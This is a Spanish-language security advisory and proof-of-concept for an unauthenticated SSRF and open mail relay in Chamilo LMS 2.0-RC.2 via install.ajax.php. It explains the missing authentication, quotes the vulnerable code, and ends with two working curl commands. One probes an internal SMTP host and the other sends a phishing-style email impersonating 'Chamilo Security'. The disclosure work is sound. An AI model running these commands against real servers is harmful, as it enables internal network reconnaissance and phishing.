
Prueba de concepto de exploit para SSRF no autenticado y relay de correo abierto en Chamilo LMS a través de install.ajax.php, que permite el sondeo de la red interna y el envío de correos de phishing.
Gravedad: Alta (CVSS 7.2)
CWE: CWE-918 (SSRF) + CWE-306 (Autenticación faltante)
Afectado: chamilo/chamilo-lms 2.0-RC.2
Corregido en: 2.0-RC.3
Aviso: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
Crédito: Romain Deperne
install.ajax.php en Chamilo LMS 2.0 es accesible sin autenticación en instancias completamente instaladas. Su acción test_mailer acepta un DSN de Symfony Mailer y un destino arbitrarios desde los datos POST, lo que permite a cualquier atacante no autenticado forzar al servidor a iniciar conexiones SMTP hacia hosts internos arbitrarios (SSRF) y enviar correos a través del servidor de Chamilo como una retransmisión abierta.
Estaba auditando Chamilo LMS tras notar que había acumulado varios CVE pero no había sido auditado en profundidad en sus endpoints AJAX. Mi enfoque: listar todos los archivos en public/main/inc/ajax/ y comprobar si cada uno comienza con require_once __DIR__.'/../global.inc.php' — la inclusión que aplica la autenticación en todo el código base.
install.ajax.php era la excepción. Solo incluye el autoloader de Composer. El nombre del archivo ya sugería que era código de instalación residual — y al hacer grep de test_mailer dentro de él se confirmó que acepta una cadena DSN de Symfony Mailer sin procesar desde los datos POST y la pasa directamente a Transport::fromDsn().
Eso es una primitiva SSRF completa: un atacante no autenticado controla el protocolo, el host y el puerto a los que se conecta el servidor. El hecho de que envíe un correo real a través del transporte que se configure lo convierte además en una retransmisión abierta. Confirmé con un simple curl que el endpoint era accesible sin ninguna cookie de sesión en una instancia completamente instalada.
La causa raíz es arquitectónica: el archivo omite el firewall de seguridad de Symfony porque RewriteCond %{REQUEST_FILENAME} !-f de Apache pasa los archivos PHP existentes directamente a PHP, sin llegar nunca al controlador frontal.
Archivo: public/main/inc/ajax/install.ajax.php
El archivo fue diseñado para el asistente de instalación pero permanece accesible después de la instalación. A diferencia de todos los demás endpoints AJAX en el mismo directorio, no incluye global.inc.php — lo que significa cero autenticación, cero comprobación de autorización:
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
La acción test_mailer (línea ~138) acepta parámetros POST controlados por el atacante:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
Compárelo con cualquier endpoint debidamente protegido:
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
El archivo es servido directamente por Apache (RewriteCond %{REQUEST_FILENAME} !-f deja pasar los archivos PHP existentes, omitiendo el firewall de seguridad de Symfony). La ausencia de la inclusión de global.inc.php significa que no hay sesión, no hay autenticación y no hay verificación de instalación completada.
Consulte poc.py para una demostración completa.
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"